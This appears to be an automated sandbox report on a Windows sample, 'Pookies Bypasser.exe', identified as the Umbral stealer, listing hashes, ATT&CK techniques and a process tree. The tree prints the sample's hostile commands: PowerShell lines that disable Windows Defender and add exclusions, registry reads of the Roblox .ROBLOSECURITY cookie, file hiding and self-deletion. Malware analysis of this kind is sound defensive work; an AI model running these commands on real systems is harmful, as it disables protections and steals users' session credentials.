umbral | 6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
10-05-2024 21:19

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General

Target

Pookies Bypasser.exe
Size

229KB
MD5

5dcae9f331eabd47b8a078fad0f812c8
SHA1

39baa462feac529cc7d907a9bc7028444748992e
SHA256

6594aa4b2efc8137b453fe978ae2ff5ae6f055e4d79539fa4804933e208ffdf4
SHA512

3ae8037c1bb7e48a2e0d1d8a06faba35bd998c6dda8f5c8dbe8a7cfae51e8c5f8ce6da3ba379a8690549a6bb5b2c9ef05b703aa34eaeabdc9ebb952dc083d756
SSDEEP

6144:VloZM+rIkd8g+EtXHkv/iD4S2eNiAfboSxUyzzqbKb8e1mri:3oZtL+EP8S2eNiAfboSxUyzzqyZ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2980-1-0x0000000001320000-0x0000000001360000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Pookies Bypasser.exe

Deletes itself 1 IoCs

pid	Process
2060	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2012	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1292	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2980	Pookies Bypasser.exe
2572	powershell.exe
2728	powershell.exe
1944	powershell.exe
2784	powershell.exe
680	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	Pookies Bypasser.exe
Token: SeIncreaseQuotaPrivilege	2600	wmic.exe
Token: SeSecurityPrivilege	2600	wmic.exe
Token: SeTakeOwnershipPrivilege	2600	wmic.exe
Token: SeLoadDriverPrivilege	2600	wmic.exe
Token: SeSystemProfilePrivilege	2600	wmic.exe
Token: SeSystemtimePrivilege	2600	wmic.exe
Token: SeProfSingleProcessPrivilege	2600	wmic.exe
Token: SeIncBasePriorityPrivilege	2600	wmic.exe
Token: SeCreatePagefilePrivilege	2600	wmic.exe
Token: SeBackupPrivilege	2600	wmic.exe
Token: SeRestorePrivilege	2600	wmic.exe
Token: SeShutdownPrivilege	2600	wmic.exe
Token: SeDebugPrivilege	2600	wmic.exe
Token: SeSystemEnvironmentPrivilege	2600	wmic.exe
Token: SeRemoteShutdownPrivilege	2600	wmic.exe
Token: SeUndockPrivilege	2600	wmic.exe
Token: SeManageVolumePrivilege	2600	wmic.exe
Token: 33	2600	wmic.exe
Token: 34	2600	wmic.exe
Token: 35	2600	wmic.exe
Token: SeIncreaseQuotaPrivilege	2600	wmic.exe
Token: SeSecurityPrivilege	2600	wmic.exe
Token: SeTakeOwnershipPrivilege	2600	wmic.exe
Token: SeLoadDriverPrivilege	2600	wmic.exe
Token: SeSystemProfilePrivilege	2600	wmic.exe
Token: SeSystemtimePrivilege	2600	wmic.exe
Token: SeProfSingleProcessPrivilege	2600	wmic.exe
Token: SeIncBasePriorityPrivilege	2600	wmic.exe
Token: SeCreatePagefilePrivilege	2600	wmic.exe
Token: SeBackupPrivilege	2600	wmic.exe
Token: SeRestorePrivilege	2600	wmic.exe
Token: SeShutdownPrivilege	2600	wmic.exe
Token: SeDebugPrivilege	2600	wmic.exe
Token: SeSystemEnvironmentPrivilege	2600	wmic.exe
Token: SeRemoteShutdownPrivilege	2600	wmic.exe
Token: SeUndockPrivilege	2600	wmic.exe
Token: SeManageVolumePrivilege	2600	wmic.exe
Token: 33	2600	wmic.exe
Token: 34	2600	wmic.exe
Token: 35	2600	wmic.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	1944	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeIncreaseQuotaPrivilege	1592	wmic.exe
Token: SeSecurityPrivilege	1592	wmic.exe
Token: SeTakeOwnershipPrivilege	1592	wmic.exe
Token: SeLoadDriverPrivilege	1592	wmic.exe
Token: SeSystemProfilePrivilege	1592	wmic.exe
Token: SeSystemtimePrivilege	1592	wmic.exe
Token: SeProfSingleProcessPrivilege	1592	wmic.exe
Token: SeIncBasePriorityPrivilege	1592	wmic.exe
Token: SeCreatePagefilePrivilege	1592	wmic.exe
Token: SeBackupPrivilege	1592	wmic.exe
Token: SeRestorePrivilege	1592	wmic.exe
Token: SeShutdownPrivilege	1592	wmic.exe
Token: SeDebugPrivilege	1592	wmic.exe
Token: SeSystemEnvironmentPrivilege	1592	wmic.exe
Token: SeRemoteShutdownPrivilege	1592	wmic.exe
Token: SeUndockPrivilege	1592	wmic.exe
Token: SeManageVolumePrivilege	1592	wmic.exe
Token: 33	1592	wmic.exe
Token: 34	1592	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2980 wrote to memory of 2600	2980	Pookies Bypasser.exe	28
PID 2980 wrote to memory of 2600	2980	Pookies Bypasser.exe	28
PID 2980 wrote to memory of 2600	2980	Pookies Bypasser.exe	28
PID 2980 wrote to memory of 2672	2980	Pookies Bypasser.exe	31
PID 2980 wrote to memory of 2672	2980	Pookies Bypasser.exe	31
PID 2980 wrote to memory of 2672	2980	Pookies Bypasser.exe	31
PID 2980 wrote to memory of 2572	2980	Pookies Bypasser.exe	33
PID 2980 wrote to memory of 2572	2980	Pookies Bypasser.exe	33
PID 2980 wrote to memory of 2572	2980	Pookies Bypasser.exe	33
PID 2980 wrote to memory of 2728	2980	Pookies Bypasser.exe	35
PID 2980 wrote to memory of 2728	2980	Pookies Bypasser.exe	35
PID 2980 wrote to memory of 2728	2980	Pookies Bypasser.exe	35
PID 2980 wrote to memory of 1944	2980	Pookies Bypasser.exe	37
PID 2980 wrote to memory of 1944	2980	Pookies Bypasser.exe	37
PID 2980 wrote to memory of 1944	2980	Pookies Bypasser.exe	37
PID 2980 wrote to memory of 2784	2980	Pookies Bypasser.exe	39
PID 2980 wrote to memory of 2784	2980	Pookies Bypasser.exe	39
PID 2980 wrote to memory of 2784	2980	Pookies Bypasser.exe	39
PID 2980 wrote to memory of 1592	2980	Pookies Bypasser.exe	41
PID 2980 wrote to memory of 1592	2980	Pookies Bypasser.exe	41
PID 2980 wrote to memory of 1592	2980	Pookies Bypasser.exe	41
PID 2980 wrote to memory of 2188	2980	Pookies Bypasser.exe	43
PID 2980 wrote to memory of 2188	2980	Pookies Bypasser.exe	43
PID 2980 wrote to memory of 2188	2980	Pookies Bypasser.exe	43
PID 2980 wrote to memory of 844	2980	Pookies Bypasser.exe	45
PID 2980 wrote to memory of 844	2980	Pookies Bypasser.exe	45
PID 2980 wrote to memory of 844	2980	Pookies Bypasser.exe	45
PID 2980 wrote to memory of 680	2980	Pookies Bypasser.exe	47
PID 2980 wrote to memory of 680	2980	Pookies Bypasser.exe	47
PID 2980 wrote to memory of 680	2980	Pookies Bypasser.exe	47
PID 2980 wrote to memory of 2012	2980	Pookies Bypasser.exe	49
PID 2980 wrote to memory of 2012	2980	Pookies Bypasser.exe	49
PID 2980 wrote to memory of 2012	2980	Pookies Bypasser.exe	49
PID 2980 wrote to memory of 2060	2980	Pookies Bypasser.exe	51
PID 2980 wrote to memory of 2060	2980	Pookies Bypasser.exe	51
PID 2980 wrote to memory of 2060	2980	Pookies Bypasser.exe	51
PID 2060 wrote to memory of 1292	2060	cmd.exe	53
PID 2060 wrote to memory of 1292	2060	cmd.exe	53
PID 2060 wrote to memory of 1292	2060	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe
"C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe"
  2⤵
  - Views/modifies file attributes
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2188
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2012
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Pookies Bypasser.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5da16d060663664d2d68887e841ee81d

SHA1
1d0313642ce6c2554f7edb8327eb7d3954081017

SHA256
1e054a45538412af81a6ed7a13750000a382dba4ebf10ce03235827099cfae4e

SHA512
47fa05c93cc2bdcb215925e85f2c3a68c9fa07d3df080d7fa3f1fb5f09b0880093d0ecb0bc6660b4e0dec0cd391afa5f5193a31595b469b35a4fae0b7f968888

Download Submit
memory/680-43-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2572-7-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2572-8-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2728-14-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2728-15-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2980-0-0x000007FEF5E43000-0x000007FEF5E44000-memory.dmp

Filesize
4KB

Download
memory/2980-1-0x0000000001320000-0x0000000001360000-memory.dmp

Filesize
256KB

Download
memory/2980-2-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2980-47-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download